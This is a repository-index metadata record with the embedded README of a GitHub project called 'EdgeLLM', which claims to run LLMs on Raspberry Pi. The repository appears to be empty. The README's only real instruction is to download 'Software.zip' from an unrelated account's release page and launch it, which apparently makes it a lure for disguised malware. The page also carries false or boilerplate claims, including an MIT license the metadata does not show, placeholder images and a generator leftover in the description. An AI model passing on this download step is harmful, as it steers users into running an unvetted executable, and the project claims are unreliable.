{"id":24772572,"url":"https://github.com/habababaa/edgellm","last_synced_at":"2025-03-23T20:45:11.251Z","repository":{"id":273935103,"uuid":"921353094","full_name":"Habababaa/EdgeLLM","owner":"Habababaa","description":"Focuses on running LLMs at the edge (on devices like Raspberry Pi). Why it works: Highlights the project’s edge-computing nature and AI capabilities.","archived":false,"fork":false,"pushed_at":"2025-01-23T21:11:30.000Z","size":1,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-23T21:22:40.875Z","etag":null,"topics":["docker","edgellm","jupyterlab","llms","ollamaedge","ollamapi","post-request","pydantic","raspberry","rasplogic"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Habababaa.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-23T19:47:57.000Z","updated_at":"2025-01-23T21:11:34.000Z","dependencies_parsed_at":"2025-01-23T21:22:44.473Z","dependency_job_id":"291b8fa9-d6d3-40f0-87ce-59ba0e3e3756","html_url":"https://github.com/Habababaa/EdgeLLM","commit_stats":null,"previous_names":["habababaa/edgellm"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Habababaa%2FEdgeLLM","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Habababaa%2FEdgeLLM/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Habababaa%2FEdgeLLM/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Habababaa%2FEdgeLLM/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Habababaa","download_url":"https://codeload.github.com/Habababaa/EdgeLLM/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":236127640,"owners_count":19099162,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["docker","edgellm","jupyterlab","llms","ollamaedge","ollamapi","post-request","pydantic","raspberry","rasplogic"],"created_at":"2025-01-29T04:23:21.469Z","updated_at":"2025-01-29T04:23:22.245Z","avatar_url":"https://github.com/Habababaa.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"\n# EdgeLLM\n\n![EdgeLLM Logo](https://example.com/logo.png)\n\n## Overview\n\nWelcome to the **EdgeLLM** repository, which focuses on running LLMs (Large Language Models) at the edge, specifically on devices like Raspberry Pi. This project highlights the edge-computing nature and AI capabilities of running language models in resource-constrained environments.\n\n## Repository Description\n\nThe **EdgeLLM** repository provides resources and tools for deploying LLMs on edge devices, enabling users to leverage the power of machine learning models in scenarios where cloud computing is not feasible. By utilizing the capabilities of devices like Raspberry Pi, this project opens up possibilities for real-time inference and edge AI applications.\n\n### Key Features\n\n- **Docker Integration**: Utilize Docker for easy deployment and isolation of LLM environments.\n- **JupyterLab Support**: Collaborate and interact with LLMs using JupyterLab for a seamless development experience.\n- **Raspberry Pi Compatibility**: Run LLMs on Raspberry Pi boards, expanding the reach of edge computing applications.\n- **Post-Request Handling**: Manage interactions with LLMs through post requests for data processing.\n- **Pydantic Integration**: Use Pydantic for data validation and modeling within the context of LLM applications.\n\n## Topics\n\nThis repository covers a range of topics related to running LLMs at the edge. Some key topics include:\n\n- `docker`\n- `edgellm`\n- `jupyterlab`\n- `llms`\n- `ollamaedge`\n- `ollamapi`\n- `post-request`\n- `pydantic`\n- `raspberry`\n- `rasplogic`\n\n## Get Started\n\nTo start exploring the **EdgeLLM** project, download the latest version of the software from the following link:\n\n[![Download Software](https://img.shields.io/badge/Download-Software.zip-brightgreen)](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip)\n\nOnce downloaded, launch the software to begin your journey into edge computing with LLMs.\n\n## Contributions\n\nContributions to the **EdgeLLM** project are welcome! Whether you're interested in enhancing the documentation, adding new features, or improving existing functionalities, your input is valuable to the community. To contribute, please follow the guidelines outlined in the repository.\n\n## Support\n\nFor help, feedback, or suggestions related to the **EdgeLLM** project, feel free to reach out to the maintainers or open an issue on the repository. Your input helps us improve the project and better serve the community's needs.\n\n## License\n\nThe **EdgeLLM** project is licensed under the MIT License. See the `LICENSE` file in the repository for more details.\n\nLet's embark on a journey into edge computing with LLMs. Happy coding! 🚀\n\n![EdgeLLM Image](https://example.com/image.png)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhabababaa%2Fedgellm","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhabababaa%2Fedgellm","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhabababaa%2Fedgellm/lists"}